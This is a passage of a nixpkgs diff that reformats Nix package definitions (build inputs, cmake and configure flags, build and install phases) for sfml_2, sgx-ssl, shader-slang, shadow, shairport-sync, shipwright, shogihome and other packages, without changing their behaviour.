@@ -34,24 +34,23 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   nativeBuildInputs = [ cmake ];
-  buildInputs =
-    [
-      flac
-      freetype
-      glew
-      libjpeg
-      libvorbis
-      openal
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux udev
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libX11
-      libXi
-      libXcursor
-      libXrandr
-      libXrender
-      xcbutilimage
-    ];
+  buildInputs = [
+    flac
+    freetype
+    glew
+    libjpeg
+    libvorbis
+    openal
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux udev
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libX11
+    libXi
+    libXcursor
+    libXrandr
+    libXrender
+    xcbutilimage
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "SFML_INSTALL_PKGCONFIG_FILES" true)
diff --git a/pkgs/by-name/sf/sfml_2/package.nix b/pkgs/by-name/sf/sfml_2/package.nix
index eed96f2bed01..f18d872c830d 100644
--- a/pkgs/by-name/sf/sfml_2/package.nix
+++ b/pkgs/by-name/sf/sfml_2/package.nix
@@ -32,23 +32,22 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   nativeBuildInputs = [ cmake ];
-  buildInputs =
-    [
-      flac
-      freetype
-      glew
-      libjpeg
-      libvorbis
-      openal
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux udev
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libX11
-      libXcursor
-      libXrandr
-      libXrender
-      xcbutilimage
-    ];
+  buildInputs = [
+    flac
+    freetype
+    glew
+    libjpeg
+    libvorbis
+    openal
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux udev
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libX11
+    libXcursor
+    libXrandr
+    libXrender
+    xcbutilimage
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "SFML_INSTALL_PKGCONFIG_FILES" true)
diff --git a/pkgs/by-name/sg/sgx-ssl/package.nix b/pkgs/by-name/sg/sgx-ssl/package.nix
index f67a960ace58..18bf86f99435 100644
--- a/pkgs/by-name/sg/sgx-ssl/package.nix
+++ b/pkgs/by-name/sg/sgx-ssl/package.nix
@@ -50,13 +50,12 @@ stdenv.mkDerivation {
     which
   ];
 
-  makeFlags =
-    [
-      "-C Linux"
-    ]
-    ++ lib.optionals debug [
-      "DEBUG=1"
-    ];
+  makeFlags = [
+    "-C Linux"
+  ]
+  ++ lib.optionals debug [
+    "DEBUG=1"
+  ];
 
   installFlags = [
     "DESTDIR=$(out)"
diff --git a/pkgs/by-name/sg/sgx-ssl/tests.nix b/pkgs/by-name/sg/sgx-ssl/tests.nix
index a7cf2b0ea8d3..3b360f696525 100644
--- a/pkgs/by-name/sg/sgx-ssl/tests.nix
+++ b/pkgs/by-name/sg/sgx-ssl/tests.nix
@@ -28,26 +28,24 @@ stdenv.mkDerivation {
   inherit (sgx-ssl) postPatch src version;
   pname = sgx-ssl.pname + "-tests-${sgxMode}";
 
-  postUnpack =
-    sgx-ssl.postUnpack
-    + ''
-      sourceRootAbs=$(readlink -e $sourceRoot)
-      packageDir=$sourceRootAbs/Linux/package
+  postUnpack = sgx-ssl.postUnpack + ''
+    sourceRootAbs=$(readlink -e $sourceRoot)
+    packageDir=$sourceRootAbs/Linux/package
 
-      # Do the inverse of 'make install' and symlink built artifacts back into
-      # '$src/Linux/package/' to avoid work.
-      mkdir $packageDir/lib $packageDir/lib64
-      ln -s ${lib.getLib sgx-ssl}/lib/* $packageDir/lib/
-      ln -s ${lib.getLib sgx-ssl}/lib64/* $packageDir/lib64/
-      ln -sf ${lib.getDev sgx-ssl}/include/* $packageDir/include/
+    # Do the inverse of 'make install' and symlink built artifacts back into
+    # '$src/Linux/package/' to avoid work.
+    mkdir $packageDir/lib $packageDir/lib64
+    ln -s ${lib.getLib sgx-ssl}/lib/* $packageDir/lib/
+    ln -s ${lib.getLib sgx-ssl}/lib64/* $packageDir/lib64/
+    ln -sf ${lib.getDev sgx-ssl}/include/* $packageDir/include/
 
-      # test_app needs some internal openssl headers.
-      # See: tail end of 'Linux/build_openssl.sh'
-      tar -C $sourceRootAbs/openssl_source -xf $sourceRootAbs/openssl_source/openssl-${opensslVersion}.tar.gz
-      echo '#define OPENSSL_VERSION_STR "${opensslVersion}"' > $sourceRootAbs/Linux/sgx/osslverstr.h
-      ln -s $sourceRootAbs/openssl_source/openssl-${opensslVersion}/include/crypto $sourceRootAbs/Linux/sgx/test_app/enclave/
-      ln -s $sourceRootAbs/openssl_source/openssl-${opensslVersion}/include/internal $sourceRootAbs/Linux/sgx/test_app/enclave/
-    '';
+    # test_app needs some internal openssl headers.
+    # See: tail end of 'Linux/build_openssl.sh'
+    tar -C $sourceRootAbs/openssl_source -xf $sourceRootAbs/openssl_source/openssl-${opensslVersion}.tar.gz
+    echo '#define OPENSSL_VERSION_STR "${opensslVersion}"' > $sourceRootAbs/Linux/sgx/osslverstr.h
+    ln -s $sourceRootAbs/openssl_source/openssl-${opensslVersion}/include/crypto $sourceRootAbs/Linux/sgx/test_app/enclave/
+    ln -s $sourceRootAbs/openssl_source/openssl-${opensslVersion}/include/internal $sourceRootAbs/Linux/sgx/test_app/enclave/
+  '';
 
   nativeBuildInputs = [
     openssl.bin
diff --git a/pkgs/by-name/sh/shader-slang/package.nix b/pkgs/by-name/sh/shader-slang/package.nix
index 9d8704537ae1..40f4cfcafbea 100644
--- a/pkgs/by-name/sh/shader-slang/package.nix
+++ b/pkgs/by-name/sh/shader-slang/package.nix
@@ -37,24 +37,23 @@ stdenv.mkDerivation (finalAttrs: {
     fetchSubmodules = true;
   };
 
-  patches =
-    [
-      # Slang's build definitions do not support using system provided cmake packages
-      # for its dependencies.
-      # While it does come with "SLANG_USE_SYSTEM_XYZ" flags, these expect Slang to be
-      # imported into some other CMake build that already provides the necessary target.
-      # This patch adds the required `find_package` calls and sets up target aliases where needed.
-      ./1-find-packages.patch
-    ]
-    ++ lib.optionals withSharedLLVM [
-      # Upstream statically links libllvm and libclang++, resulting in a ~5x increase in binary size.
-      ./2-shared-llvm.patch
-    ]
-    ++ lib.optionals withGlslang [
-      # Upstream depends on glslang 13 and there are minor breaking changes in glslang 15, the version
-      # we ship in nixpkgs.
-      ./3-glslang-15.patch
-    ];
+  patches = [
+    # Slang's build definitions do not support using system provided cmake packages
+    # for its dependencies.
+    # While it does come with "SLANG_USE_SYSTEM_XYZ" flags, these expect Slang to be
+    # imported into some other CMake build that already provides the necessary target.
+    # This patch adds the required `find_package` calls and sets up target aliases where needed.
+    ./1-find-packages.patch
+  ]
+  ++ lib.optionals withSharedLLVM [
+    # Upstream statically links libllvm and libclang++, resulting in a ~5x increase in binary size.
+    ./2-shared-llvm.patch
+  ]
+  ++ lib.optionals withGlslang [
+    # Upstream depends on glslang 13 and there are minor breaking changes in glslang 15, the version
+    # we ship in nixpkgs.
+    ./3-glslang-15.patch
+  ];
 
   outputs = [
     "out"
@@ -70,25 +69,24 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [
-      miniz
-      lz4
-      libxml2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-    ]
-    ++ lib.optionals withLLVM [
-      # Slang only supports LLVM 13:
-      # https://github.com/shader-slang/slang/blob/master/docs/building.md#llvm-support
-      llvmPackages_13.llvm
-      llvmPackages_13.libclang
-    ]
-    ++ lib.optionals withGlslang [
-      # SPIRV-tools is included in glslang.
-      glslang
-    ];
+  buildInputs = [
+    miniz
+    lz4
+    libxml2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+  ]
+  ++ lib.optionals withLLVM [
+    # Slang only supports LLVM 13:
+    # https://github.com/shader-slang/slang/blob/master/docs/building.md#llvm-support
+    llvmPackages_13.llvm
+    llvmPackages_13.libclang
+  ]
+  ++ lib.optionals withGlslang [
+    # SPIRV-tools is included in glslang.
+    glslang
+  ];
 
   separateDebugInfo = true;
 
@@ -108,28 +106,27 @@ stdenv.mkDerivation (finalAttrs: {
       prependToVar cmakeFlags "-DCMAKE_CXX_COMPILER_RANLIB=$(command -v $RANLIB)"
     '';
 
-  cmakeFlags =
-    [
-      "-GNinja Multi-Config"
-      # The cmake setup hook only specifies `-DCMAKE_BUILD_TYPE=Release`,
-      # which does nothing for "Ninja Multi-Config".
-      "-DCMAKE_CONFIGURATION_TYPES=RelWithDebInfo"
-      # Handled by separateDebugInfo so we don't need special installation handling
-      "-DSLANG_ENABLE_SPLIT_DEBUG_INFO=OFF"
-      "-DSLANG_VERSION_FULL=v${finalAttrs.version}-nixpkgs"
-      # slang-rhi tries to download WebGPU dawn binaries, and as stated on
-      # https://github.com/shader-slang/slang-rhi is "under active refactoring
-      # and development, and is not yet ready for general use."
-      "-DSLANG_ENABLE_SLANG_RHI=OFF"
-      "-DSLANG_USE_SYSTEM_MINIZ=ON"
-      "-DSLANG_USE_SYSTEM_LZ4=ON"
-      "-DSLANG_SLANG_LLVM_FLAVOR=${if withLLVM then "USE_SYSTEM_LLVM" else "DISABLE"}"
-    ]
-    ++ lib.optionals withGlslang [
-      "-DSLANG_USE_SYSTEM_SPIRV_TOOLS=ON"
-      "-DSLANG_USE_SYSTEM_GLSLANG=ON"
-    ]
-    ++ lib.optional (!withGlslang) "-DSLANG_ENABLE_SLANG_GLSLANG=OFF";
+  cmakeFlags = [
+    "-GNinja Multi-Config"
+    # The cmake setup hook only specifies `-DCMAKE_BUILD_TYPE=Release`,
+    # which does nothing for "Ninja Multi-Config".
+    "-DCMAKE_CONFIGURATION_TYPES=RelWithDebInfo"
+    # Handled by separateDebugInfo so we don't need special installation handling
+    "-DSLANG_ENABLE_SPLIT_DEBUG_INFO=OFF"
+    "-DSLANG_VERSION_FULL=v${finalAttrs.version}-nixpkgs"
+    # slang-rhi tries to download WebGPU dawn binaries, and as stated on
+    # https://github.com/shader-slang/slang-rhi is "under active refactoring
+    # and development, and is not yet ready for general use."
+    "-DSLANG_ENABLE_SLANG_RHI=OFF"
+    "-DSLANG_USE_SYSTEM_MINIZ=ON"
+    "-DSLANG_USE_SYSTEM_LZ4=ON"
+    "-DSLANG_SLANG_LLVM_FLAVOR=${if withLLVM then "USE_SYSTEM_LLVM" else "DISABLE"}"
+  ]
+  ++ lib.optionals withGlslang [
+    "-DSLANG_USE_SYSTEM_SPIRV_TOOLS=ON"
+    "-DSLANG_USE_SYSTEM_GLSLANG=ON"
+  ]
+  ++ lib.optional (!withGlslang) "-DSLANG_ENABLE_SLANG_GLSLANG=OFF";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
   versionCheckProgram = "${placeholder "out"}/bin/slangc";
diff --git a/pkgs/by-name/sh/shadow/package.nix b/pkgs/by-name/sh/shadow/package.nix
index 9c27f92eb921..ac5590cc343e 100644
--- a/pkgs/by-name/sh/shadow/package.nix
+++ b/pkgs/by-name/sh/shadow/package.nix
@@ -63,11 +63,12 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [ libxcrypt ]
-    ++ lib.optional (pam != null && stdenv.hostPlatform.isLinux) pam
-    ++ lib.optional withLibbsd libbsd
-    ++ lib.optional withTcb tcb;
+  buildInputs = [
+    libxcrypt
+  ]
+  ++ lib.optional (pam != null && stdenv.hostPlatform.isLinux) pam
+  ++ lib.optional withLibbsd libbsd
+  ++ lib.optional withTcb tcb;
 
   patches = [
     ./keep-path.patch
@@ -88,16 +89,15 @@ stdenv.mkDerivation rec {
     export shadow_cv_logdir=/var/log
   '';
 
-  configureFlags =
-    [
-      "--enable-man"
-      "--with-group-name-max-length=32"
-      "--with-bcrypt"
-      "--with-yescrypt"
-      (lib.withFeature withLibbsd "libbsd")
-    ]
-    ++ lib.optional (stdenv.hostPlatform.libc != "glibc") "--disable-nscd"
-    ++ lib.optional withTcb "--with-tcb";
+  configureFlags = [
+    "--enable-man"
+    "--with-group-name-max-length=32"
+    "--with-bcrypt"
+    "--with-yescrypt"
+    (lib.withFeature withLibbsd "libbsd")
+  ]
+  ++ lib.optional (stdenv.hostPlatform.libc != "glibc") "--disable-nscd"
+  ++ lib.optional withTcb "--with-tcb";
 
   preBuild = lib.optionalString (stdenv.hostPlatform.libc == "glibc") ''
     substituteInPlace lib/nscd.c --replace /usr/sbin/nscd ${glibc.bin}/bin/nscd
diff --git a/pkgs/by-name/sh/shairport-sync/package.nix b/pkgs/by-name/sh/shairport-sync/package.nix
index 7f2e8349f9b1..bba887da5c71 100644
--- a/pkgs/by-name/sh/shairport-sync/package.nix
+++ b/pkgs/by-name/sh/shairport-sync/package.nix
@@ -62,48 +62,46 @@ stdenv.mkDerivation rec {
     hash = "sha256-bfOgUeUCxQeCmKKBlvIXptM5lJxgZiH4lOhLJSNih8g=";
   };
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-      # For glib we want the `dev` output for the same library we are
-      # also linking against, since pkgsHostTarget.glib.dev exposes
-      # some extra tools that are built for build->host execution.
-      # To achieve this, we coerce the output to a string to prevent
-      # mkDerivation's splicing logic from kicking in.
-      "${glib.dev}"
-    ]
-    ++ optional enableAirplay2 [
-      unixtools.xxd
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+    # For glib we want the `dev` output for the same library we are
+    # also linking against, since pkgsHostTarget.glib.dev exposes
+    # some extra tools that are built for build->host execution.
+    # To achieve this, we coerce the output to a string to prevent
+    # mkDerivation's splicing logic from kicking in.
+    "${glib.dev}"
+  ]
+  ++ optional enableAirplay2 [
+    unixtools.xxd
+  ];
 
-  buildInputs =
-    [
-      openssl
-      avahi
-      popt
-      libconfig
-    ]
-    ++ optional enableLibdaemon libdaemon
-    ++ optional enableAlsa alsa-lib
-    ++ optional enableSndio sndio
-    ++ optional enableMqttClient mosquitto
-    ++ optional enablePulse libpulseaudio
-    ++ optional enablePipewire pipewire
-    ++ optional enableAo libao
-    ++ optional enableJack libjack2
-    ++ optional enableSoundio libsoundio
-    ++ optional enableSoxr soxr
-    ++ optional enableAlac alac
-    ++ optional enableConvolution libsndfile
-    ++ optionals enableAirplay2 [
-      libplist
-      libsodium
-      libgcrypt
-      libuuid
-      ffmpeg
-    ]
-    ++ optional stdenv.hostPlatform.isLinux glib;
+  buildInputs = [
+    openssl
+    avahi
+    popt
+    libconfig
+  ]
+  ++ optional enableLibdaemon libdaemon
+  ++ optional enableAlsa alsa-lib
+  ++ optional enableSndio sndio
+  ++ optional enableMqttClient mosquitto
+  ++ optional enablePulse libpulseaudio
+  ++ optional enablePipewire pipewire
+  ++ optional enableAo libao
+  ++ optional enableJack libjack2
+  ++ optional enableSoundio libsoundio
+  ++ optional enableSoxr soxr
+  ++ optional enableAlac alac
+  ++ optional enableConvolution libsndfile
+  ++ optionals enableAirplay2 [
+    libplist
+    libsodium
+    libgcrypt
+    libuuid
+    ffmpeg
+  ]
+  ++ optional stdenv.hostPlatform.isLinux glib;
 
   postPatch = ''
     sed -i -e 's/G_BUS_TYPE_SYSTEM/G_BUS_TYPE_SESSION/g' dbus-service.c
@@ -112,32 +110,31 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--without-configfiles"
-      "--sysconfdir=/etc"
-      "--with-ssl=openssl"
-      "--with-stdout"
-      "--with-avahi"
-    ]
-    ++ optional enablePulse "--with-pa"
-    ++ optional enablePipewire "--with-pw"
-    ++ optional enableAlsa "--with-alsa"
-    ++ optional enableSndio "--with-sndio"
-    ++ optional enableAo "--with-ao"
-    ++ optional enableJack "--with-jack"
-    ++ optional enableSoundio "--with-soundio"
-    ++ optional enableStdout "--with-stdout"
-    ++ optional enablePipe "--with-pipe"
-    ++ optional enableSoxr "--with-soxr"
-    ++ optional enableAlac "--with-apple-alac"
-    ++ optional enableConvolution "--with-convolution"
-    ++ optional enableDbus "--with-dbus-interface"
-    ++ optional enableMetadata "--with-metadata"
-    ++ optional enableMpris "--with-mpris-interface"
-    ++ optional enableMqttClient "--with-mqtt-client"
-    ++ optional enableLibdaemon "--with-libdaemon"
-    ++ optional enableAirplay2 "--with-airplay-2";
+  configureFlags = [
+    "--without-configfiles"
+    "--sysconfdir=/etc"
+    "--with-ssl=openssl"
+    "--with-stdout"
+    "--with-avahi"
+  ]
+  ++ optional enablePulse "--with-pa"
+  ++ optional enablePipewire "--with-pw"
+  ++ optional enableAlsa "--with-alsa"
+  ++ optional enableSndio "--with-sndio"
+  ++ optional enableAo "--with-ao"
+  ++ optional enableJack "--with-jack"
+  ++ optional enableSoundio "--with-soundio"
+  ++ optional enableStdout "--with-stdout"
+  ++ optional enablePipe "--with-pipe"
+  ++ optional enableSoxr "--with-soxr"
+  ++ optional enableAlac "--with-apple-alac"
+  ++ optional enableConvolution "--with-convolution"
+  ++ optional enableDbus "--with-dbus-interface"
+  ++ optional enableMetadata "--with-metadata"
+  ++ optional enableMpris "--with-mpris-interface"
+  ++ optional enableMqttClient "--with-mqtt-client"
+  ++ optional enableLibdaemon "--with-libdaemon"
+  ++ optional enableAirplay2 "--with-airplay-2";
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/sh/shanggu-fonts/package.nix b/pkgs/by-name/sh/shanggu-fonts/package.nix
index 8de63b3266e9..3fd614339199 100644
--- a/pkgs/by-name/sh/shanggu-fonts/package.nix
+++ b/pkgs/by-name/sh/shanggu-fonts/package.nix
@@ -34,34 +34,32 @@ stdenvNoCC.mkDerivation {
 
   nativeBuildInputs = [ p7zip ];
 
-  unpackPhase =
-    ''
-      runHook preUnpack
-    ''
-    + lib.strings.concatLines (
-      lib.attrsets.mapAttrsToList (name: value: ''
-        7z x ${value} -o${name}
-      '') source
-    )
-    + ''
-      runHook postUnpack
-    '';
+  unpackPhase = ''
+    runHook preUnpack
+  ''
+  + lib.strings.concatLines (
+    lib.attrsets.mapAttrsToList (name: value: ''
+      7z x ${value} -o${name}
+    '') source
+  )
+  + ''
+    runHook postUnpack
+  '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/share/fonts/truetype
-    ''
-    + lib.strings.concatLines (
-      lib.lists.forEach extraOutputs (name: ''
-        install -Dm444 ${name}/*.ttc -t ${placeholder name}/share/fonts/truetype
-        ln -s "${placeholder name}" /share/fonts/truetype/*.ttc $out/share/fonts/truetype
-      '')
-    )
-    + ''
-      runHook postInstall
-    '';
+    mkdir -p $out/share/fonts/truetype
+  ''
+  + lib.strings.concatLines (
+    lib.lists.forEach extraOutputs (name: ''
+      install -Dm444 ${name}/*.ttc -t ${placeholder name}/share/fonts/truetype
+      ln -s "${placeholder name}" /share/fonts/truetype/*.ttc $out/share/fonts/truetype
+    '')
+  )
+  + ''
+    runHook postInstall
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/GuiWonder/Shanggu";
diff --git a/pkgs/by-name/sh/shared-mime-info/package.nix b/pkgs/by-name/sh/shared-mime-info/package.nix
index a1d89b02694e..1704f2a7912d 100644
--- a/pkgs/by-name/sh/shared-mime-info/package.nix
+++ b/pkgs/by-name/sh/shared-mime-info/package.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation rec {
     pkg-config
     gettext
     libxml2
-  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) shared-mime-info;
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) shared-mime-info;
 
   buildInputs = [
     libxml2
diff --git a/pkgs/by-name/sh/shark/package.nix b/pkgs/by-name/sh/shark/package.nix
index 4219153a78ab..f5541bf01a8f 100644
--- a/pkgs/by-name/sh/shark/package.nix
+++ b/pkgs/by-name/sh/shark/package.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation (finalAttrs: {
     "-DBUILD_DOCS=OFF"
     "-DBUILD_TESTING=OFF"
     "-DENABLE_CBLAS=OFF"
-  ] ++ lib.optionals (!enableOpenMP) [ "-DENABLE_OPENMP=OFF" ];
+  ]
+  ++ lib.optionals (!enableOpenMP) [ "-DENABLE_OPENMP=OFF" ];
   buildInputs = [
     boost
     openssl
diff --git a/pkgs/by-name/sh/sheldon/package.nix b/pkgs/by-name/sh/sheldon/package.nix
index fa13c5fcb0e7..e2e9d60c3464 100644
--- a/pkgs/by-name/sh/sheldon/package.nix
+++ b/pkgs/by-name/sh/sheldon/package.nix
@@ -23,11 +23,12 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-5Ho41WU/DzAdBOGDPmJYipcJMAji6J+Jg8lNQYionng=";
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
   nativeBuildInputs = [
     installShellFiles
     pkg-config
diff --git a/pkgs/by-name/sh/shipwright/package.nix b/pkgs/by-name/sh/shipwright/package.nix
index baba8dab5f9c..baf5484ade99 100644
--- a/pkgs/by-name/sh/shipwright/package.nix
+++ b/pkgs/by-name/sh/shipwright/package.nix
@@ -134,61 +134,58 @@ stdenv.mkDerivation (finalAttrs: {
     ./disable-downloading-stb_image.patch
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      pkg-config
-      python3
-      imagemagick
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      lsb-release
-      copyDesktopItems
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libicns
-      darwin.sigtool
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    pkg-config
+    python3
+    imagemagick
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    lsb-release
+    copyDesktopItems
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libicns
+    darwin.sigtool
+    fixDarwinDylibNames
+  ];
 
-  buildInputs =
-    [
-      boost
-      glew
-      SDL2
-      SDL2_net
-      libpng
-      libzip
-      nlohmann_json
-      tinyxml-2
-      spdlog
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libpulseaudio
-      zenity
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Metal.hpp requires macOS 13.x min.
-      apple-sdk_13
-    ];
+  buildInputs = [
+    boost
+    glew
+    SDL2
+    SDL2_net
+    libpng
+    libzip
+    nlohmann_json
+    tinyxml-2
+    spdlog
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libpulseaudio
+    zenity
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Metal.hpp requires macOS 13.x min.
+    apple-sdk_13
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_REMOTE_CONTROL" true)
-      (lib.cmakeBool "NON_PORTABLE" true)
-      (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" "${placeholder "out"}/lib")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_IMGUI" "${imgui'}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_LIBGFXD" "${libgfxd}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_PRISM" "${prism}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_STORMLIB" "${stormlib'}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_THREADPOOL" "${thread_pool}")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_METALCPP" "${metalcpp}")
-      (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_SPDLOG" "${spdlog}")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_REMOTE_CONTROL" true)
+    (lib.cmakeBool "NON_PORTABLE" true)
+    (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" "${placeholder "out"}/lib")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_IMGUI" "${imgui'}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_LIBGFXD" "${libgfxd}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_PRISM" "${prism}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_STORMLIB" "${stormlib'}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_THREADPOOL" "${thread_pool}")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_METALCPP" "${metalcpp}")
+    (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_SPDLOG" "${spdlog}")
+  ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-Wno-int-conversion -Wno-implicit-int -Wno-elaborated-enum-base";
 
diff --git a/pkgs/by-name/sh/shogihome/package.nix b/pkgs/by-name/sh/shogihome/package.nix
index 3e67d315d25f..ba32dac3b260 100644
--- a/pkgs/by-name/sh/shogihome/package.nix
+++ b/pkgs/by-name/sh/shogihome/package.nix
@@ -62,53 +62,51 @@ buildNpmPackage (finalAttrs: {
 
   dontNpmBuild = true;
 
-  buildPhase =
-    ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      cp -r ${electron.dist} electron-dist
-      chmod -R u+w electron-dist
-    ''
-    # Electron builder complains about symlink in electron-dist
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      rm electron-dist/libvulkan.so.1
-      cp '${lib.getLib vulkan-loader}/lib/libvulkan.so.1' electron-dist
-    ''
-    + ''
-      npm run electron:pack
+    cp -r ${electron.dist} electron-dist
+    chmod -R u+w electron-dist
+  ''
+  # Electron builder complains about symlink in electron-dist
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    rm electron-dist/libvulkan.so.1
+    cp '${lib.getLib vulkan-loader}/lib/libvulkan.so.1' electron-dist
+  ''
+  + ''
+    npm run electron:pack
 
-      ./node_modules/.bin/electron-builder \
-          --dir \
-          --config .electron-builder.config.mjs \
-          -c.electronDist=electron-dist \
-          -c.electronVersion=${electron.version}
+    ./node_modules/.bin/electron-builder \
+        --dir \
+        --config .electron-builder.config.mjs \
+        -c.electronDist=electron-dist \
+        -c.electronVersion=${electron.version}
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p "$out/share/lib/shogihome"
-      cp -r dist/*-unpacked/{locales,resources{,.pak}} "$out/share/lib/shogihome"
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p "$out/share/lib/shogihome"
+    cp -r dist/*-unpacked/{locales,resources{,.pak}} "$out/share/lib/shogihome"
 
-      install -Dm444 'docs/icon.svg' "$out/share/icons/hicolor/scalable/apps/shogihome.svg"
+    install -Dm444 'docs/icon.svg' "$out/share/icons/hicolor/scalable/apps/shogihome.svg"
 
-      makeWrapper '${lib.getExe electron}' "$out/bin/shogihome" \
-        --add-flags "$out/share/lib/shogihome/resources/app.asar" \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-        --add-flags ${lib.escapeShellArgs commandLineArgs} \
-        --inherit-argv0
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p "$out/Applications"
-      mv dist/mac*/ShogiHome.app "$out/Applications"
-    ''
-    + ''
-      runHook postInstall
-    '';
+    makeWrapper '${lib.getExe electron}' "$out/bin/shogihome" \
+      --add-flags "$out/share/lib/shogihome/resources/app.asar" \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+      --add-flags ${lib.escapeShellArgs commandLineArgs} \
+      --inherit-argv0
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p "$out/Applications"
+    mv dist/mac*/ShogiHome.app "$out/Applications"
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/sh/shorewall/package.nix b/pkgs/by-name/sh/shorewall/package.nix
index 8535a2dc1705..9e5d30e05b24 100644
--- a/pkgs/by-name/sh/shorewall/package.nix
+++ b/pkgs/by-name/sh/shorewall/package.nix
@@ -41,19 +41,18 @@ stdenv.mkDerivation rec {
   ];
   sourceRoot = ".";
 
-  buildInputs =
-    [
-      coreutils
-      iproute2
-      iptables
-      util-linux
-      gnugrep
-      gnused
-      perl
-    ]
-    ++ (with perlPackages; [
-      DigestSHA1
-    ]);
+  buildInputs = [
+    coreutils
+    iproute2
+    iptables
+    util-linux
+    gnugrep
+    gnused
+    perl
+  ]
+  ++ (with perlPackages; [
+    DigestSHA1
+  ]);
   prePatch = ''
     # Patch configure and install.sh files
     patchShebangs .
diff --git a/pkgs/by-name/sh/shortwave/package.nix b/pkgs/by-name/sh/shortwave/package.nix
index fcefe9289ce9..36a82f194d99 100644
--- a/pkgs/by-name/sh/shortwave/package.nix
+++ b/pkgs/by-name/sh/shortwave/package.nix
@@ -58,25 +58,24 @@ stdenv.mkDerivation rec {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      dbus
-      gdk-pixbuf
-      glib
-      gtk4
-      libadwaita
-      openssl
-      sqlite
-      libshumate
-      libseccomp
